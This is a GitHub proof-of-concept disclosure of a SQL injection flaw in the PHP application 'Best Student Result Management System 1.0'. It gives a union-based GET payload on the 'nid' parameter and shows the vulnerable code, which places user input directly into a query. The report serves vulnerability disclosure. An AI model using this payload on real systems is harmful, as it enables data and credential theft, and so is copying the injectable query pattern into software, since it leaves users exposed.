

🔑 main ▾

...

[One_of_my_take_on_SourceCodester](#) / [Best-Student-Result-Management-System_1.0.poc.md](#)



toyydsBT123 Update Best-Student-Result-Management-System_1.0.poc.md

🕒 History

👤 1 contributor



25 lines (20 sloc) | 1.19 KB

...

Title: Best Student Result Management System 1.0 SQLi

Author: toyydsBT123

organize: Arr3stY0u

Organization introduction : <https://www.shg-sec.com/>

Date: 15.09.2022

Vendor: <https://www.sourcecodester.com/users/mayurik>

Software: <https://www.sourcecodester.com/php/15653/best-student-result-management-system-project-source-code-php-and-mysql-free-download>

Version: 1.0

Reference:

https://github.com/toyydsBT123/One_of_my_take_on_SourceCodester/blob/main/Best-Student-Result-Management-System_1.0.poc.md

Description:

The joint query injects the selected item into the query, and can obtain system information and administrator account password. The SQL

injection vulnerability on this page severely compromises the security, confidentiality of the application by exposing the application to administrator level information compromise.

Status: CRITICAL

[+] Payloads:

```
GET
?nid=2' union all select null,user(),null,null-- -
```

Proof and Exploit:

code

```
31 </div>
32 </nav>
33 <!-- Header - set the background image for the header in the line below-->
34
35 <!-- Content section-->
36 <section class="py-5">
37     <div class="container my-5">
38         <div class="row justify-content-center">
39             <div class="col-lg-10">
40
41 <?php
42 $noticeid=$_GET['nid'];
43 $sql = "SELECT * from tblnotice where id='$noticeid'";
44 $query = $dbh->prepare($sql);
45 $query->execute();
46 $results=$query->fetchAll(PDO::FETCH_OBJ);
47 $cnt=1;
48 if($query->rowCount() > 0)
49 {
50     foreach($results as $result)
51     {
52
53         <h3><?php echo htmlentities($result->noticeTitle);?></h3>
54         <p><strong>Notice Posting Date:</strong> <?php echo htmlentities($result->postingDate);?></p>
55         <hr color="#000" />
56
57 <p><?php echo htmlentities($result->noticeDetails);?></p>
58 <?php } } ?>
59
```

Firefox browser

